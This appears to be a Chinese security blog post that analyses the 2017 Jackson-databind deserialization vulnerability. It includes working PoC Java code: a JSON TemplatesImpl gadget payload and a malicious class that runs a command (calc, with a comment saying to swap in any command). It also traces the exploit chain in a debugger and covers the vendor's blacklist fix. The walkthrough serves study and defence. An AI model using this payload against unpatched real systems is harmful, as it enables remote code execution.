本次Jackson反序列化漏洞对于Jackson来说是首例,因此针对这些版本范围的漏洞利用类有很多,这章节只用TemplatesImpl这条在Fastjson也盛行的利用类进行演示,其他利用链在后面的文章中会补充分析。
Jackson 2.6系列 < 2.6.7.1
Jackson 2.7系列 < 2.7.9.1
Jackson 2.8系列 < 2.8.8.1
JDK使用1.7版本的,不能使用1.8版本,具体原因后面章节会分析到。
注意,小版本搞的1.7版本的也会有些不能成功利用,具体要自己测试才知道哪些版本是可用的。
我本地用的JDK版本为1.7.0_21,之前用的1.7.0_80没成功。
我本地用的jar包:jackson-annotations-2.7.9,jackson-core-2.7.9,jackson-databind-2.7.9,commons-codec-1.12.jar,commons-io-2.5.jar。
PoC.java,这里选择以开启DefaultTyping的方式进行反序列化:
public class PoC { public static void main(String[] args) { String exp = readClassStr("./out/production/JSTest/com/evil/Exploit.class"); String jsonInput = aposToQuotes("{/"object/":['com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',/n" + "{/n" + "'transletBytecodes':['"+exp+"'],/n" + "'transletName':'mi1k7ea',/n" + "'outputProperties':{}/n" + "}/n" + "]/n" + "}"); System.out.printf(jsonInput); ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); Mi1k7ea mi1k7ea; try { mi1k7ea = mapper.readValue(jsonInput, Mi1k7ea.class); } catch (Exception e) { e.printStackTrace(); } } public static String aposToQuotes(String json){ return json.replace("'","/""); } public static String readClassStr(String cls){ ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); try { FileCopyUtils.copy(new FileInputStream(new File(cls)),byteArrayOutputStream); } catch (IOException e) { e.printStackTrace(); } return Base64.encode(byteArrayOutputStream.toByteArray()); } }
Mi1k7ea.java,要进行反序列化的类:
package com.mi1k7ea; public class Mi1k7ea { public Object object; }
Exploit.java,恶意类,至于为何要继承AbstractTranslet类可以参考 《Fastjson系列二——1.2.22-1.2.24反序列化漏洞》 中的调试分析:
public class Exploit extends AbstractTranslet { public Exploit() throws Exception { try { BufferedReader br = null; //修改成你想要执行的命令 Process p = Runtime.getRuntime().exec("calc"); br = new BufferedReader(new InputStreamReader(p.getInputStream())); String line = null; StringBuilder sb = new StringBuilder(); while ((line = br.readLine()) != null) { sb.append(line + "/n"); System.out.println(sb); } File file = new File("result.txt"); //File file =new File("javaio-appendfile.txt"); //if file doesnt exists, then create it if(!file.exists()){ file.createNewFile(); } //true = append file FileWriter fileWritter = new FileWriter(file.getName(),true); BufferedWriter bufferWritter = new BufferedWriter(fileWritter); bufferWritter.write(sb.toString()); bufferWritter.close(); System.out.println(sb); } catch (IOException e) { e.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
运行即可成功触发弹计算器:
Exploit类中换成其他命令的话运行结果保存在result.txt中:
这里我们看下PoC:
{ "object":[ "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", { "transletBytecodes":["xxx"], "transletName":"mi1k7ea", "outputProperties":{} } ] }
这里解释下设置的几个JSON键值对:
在 mi1k7ea = mapper.readValue(jsonInput, Mi1k7ea.class);
中打下断点;同时,我们由之前Fastjson中的分析也知道,TemplatesImpl利用链的其中一步是调用了getOutputProperties()函数,我们也在这里打下断点。
下面开始调试,其中反序列化的处理过程和之前调试的一样,我们直接跟到关键的地方看看就好。
我们知道在BeanDeserializer.vanillaDeserialize()函数中会先新建Bean实例,然后调用deserializeAndSet()函数来解析属性值并设置到该Bean中;而在deserializeAndSet()函数中,会反射调用属性的setter方法来设置属性值。
前两个属性transletBytecodes和transletName都是通过反射机制调用setter方法设置的, 但是outputProperties属性在deserializeAndSet()函数中是通过反射机制调用它的getter方法,这就是该利用链能被成功触发的原因,虽然Jackson的反序列化机制只是调用setter方法,但是是调用SetterlessProperty.deserializeAndSet()来解析outputProperties属性而前面两个属性是调用的MethodProperty.deserializeAndSet()解析的,其中SetterlessProperty.deserializeAndSet()函数中是调用属性的getter方法而非setter方法 :
再往下就是反射调用到了getOutputProperties():
再后面就和Fastjson中分析的一样了,这里不再赘述。
利用链:getOutputProperties()->newTransformer()->getTransletInstance()->defineTransletClasses()->恶意类构造函数
到getOutputProperties()时的函数调用栈如下:
getOutputProperties:431, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:57, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:601, Method (java.lang.reflect) deserializeAndSet:105, SetterlessProperty (com.fasterxml.jackson.databind.deser.impl) vanillaDeserialize:260, BeanDeserializer (com.fasterxml.jackson.databind.deser) deserialize:125, BeanDeserializer (com.fasterxml.jackson.databind.deser) _deserialize:110, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl) deserializeTypedFromAny:68, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl) deserializeWithType:554, UntypedObjectDeserializer$Vanilla (com.fasterxml.jackson.databind.deser.std) deserialize:493, SettableBeanProperty (com.fasterxml.jackson.databind.deser) deserializeAndSet:101, FieldProperty (com.fasterxml.jackson.databind.deser.impl) vanillaDeserialize:260, BeanDeserializer (com.fasterxml.jackson.databind.deser) deserialize:125, BeanDeserializer (com.fasterxml.jackson.databind.deser) _readMapAndClose:3807, ObjectMapper (com.fasterxml.jackson.databind) readValue:2797, ObjectMapper (com.fasterxml.jackson.databind) main:27, PoC
PoC不写该属性值的话会报错,我们调试分析下原因。
跟踪到getOutputProperties()->newTransformer()->getTransletInstance()这条调用链时发现,问题出在TemplatesImpl.getTransletInstance()函数中:
由于此处_name为null,导致程序提前return了,并未进入后面生成Java了以及新建该Java类实例的代码中,从而也无法成功触发漏洞。
由前面调试分析可知,transletBytecodes和transletName属性值都是通过调用MethodProperty.deserializeAndSet()函数来反射调用其setter方法来设置的。
这里我们重新transletName属性带上,再次调试,跟进设置transletName属性值时的MethodProperty.deserializeAndSet()函数中,发现其调用的setter方法就是TemplatesImpl.setTransletName()函数:
因此这个属性值是必须的,不能为null。
在大版本下,JDK1.7和1.8中,com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类是有所不同的。
当然,在小版本较高的1.7和某些1.8的还是能够成功触发的,具体的可自行测试。
在我本地的JDK 1.8.0_73 版本中,看到在TemplatesImpl.getTransletInstance()方法中调用了defineTransletClasses()函数来定义Java类,跟进看看:
区别在于新建TransletClassLoader类实例的代码,其中调用了 _factory
属性,但是该属性值我们没有在PoC中设置,默认为null,于是就会抛出异常了。
那么如何设置这个 _factory
属性呢?我们在PoC中随便填入如 '_factory':{},
,会看到如下错误信息:
com.fasterxml.jackson.databind.exc.UnrecognizedPropertyException: Unrecognized field "_factory" (class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl), not marked as ignorable (5 known properties: "uriresolver", "transletBytecodes", "outputProperties", "transletName", "stylesheetDOM"])
可以看到,这个错误是Jackson.databind报的,说的是TemplatesImpl类已知的只有5个配置项,即”uriresolver”, “transletBytecodes”, “outputProperties”, “transletName”, “stylesheetDOM”。
在里面没有看到tfactory相关字样,也就是说, Jackson压根就不支持我们在序列化的TemplatesImpl类的内容上添加并解析_tfactory属性 。
这里将jackson-databind-2.7.9换成jackson-databind-2.7.9.1。
尝试运行会报错如下,显示因为某些安全原因禁止了该类的加载:
com.fasterxml.jackson.databind.JsonMappingException: Illegal type (com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl) to deserialize: prevented for security reasons
调试分析,在调用BeanDeserializerFactory.createBeanDeserializer()函数创建Bean反序列化器的时候,其中会调用checkIllegalTypes()函数提取当前类名,然后使用黑名单进行过滤:
注意:实际调试的时候回调用两次BeanDeserializerFactory.createBeanDeserializer()->checkIllegalTypes(),第一次由于是Mi1k7ea类,因此不会被过滤;第二次是TemplatesImpl类,由于其在黑名单中,因此被过滤了。
在jackson-databind-2.7.9.1-sources.jar!/com/fasterxml/jackson/databind/deser/BeanDeserializerFactory.java中,存在默认的黑名单DEFAULT_NO_DESER_CLASS_NAMES,将TemplatesImpl类以及早期其他常用反序列化利用类都过滤了:
static { Set<String> s = new HashSet<String>(); // Courtesy of [https://github.com/kantega/notsoserial]: // (and wrt [databind#1599] s.add("org.apache.commons.collections.functors.InvokerTransformer"); s.add("org.apache.commons.collections.functors.InstantiateTransformer"); s.add("org.apache.commons.collections4.functors.InvokerTransformer"); s.add("org.apache.commons.collections4.functors.InstantiateTransformer"); s.add("org.codehaus.groovy.runtime.ConvertedClosure"); s.add("org.codehaus.groovy.runtime.MethodClosure"); s.add("org.springframework.beans.factory.ObjectFactory"); s.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); DEFAULT_NO_DESER_CLASS_NAMES = Collections.unmodifiableSet(s); }
OK,17年经典的Jackson反序列化漏洞就说到这,利用链是和Fastjson一样的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,两者的利用链很多都是可以共用的,但是会有些细微的区别。下一篇文章看看Jackson其他反序列化利用链及CVE漏洞。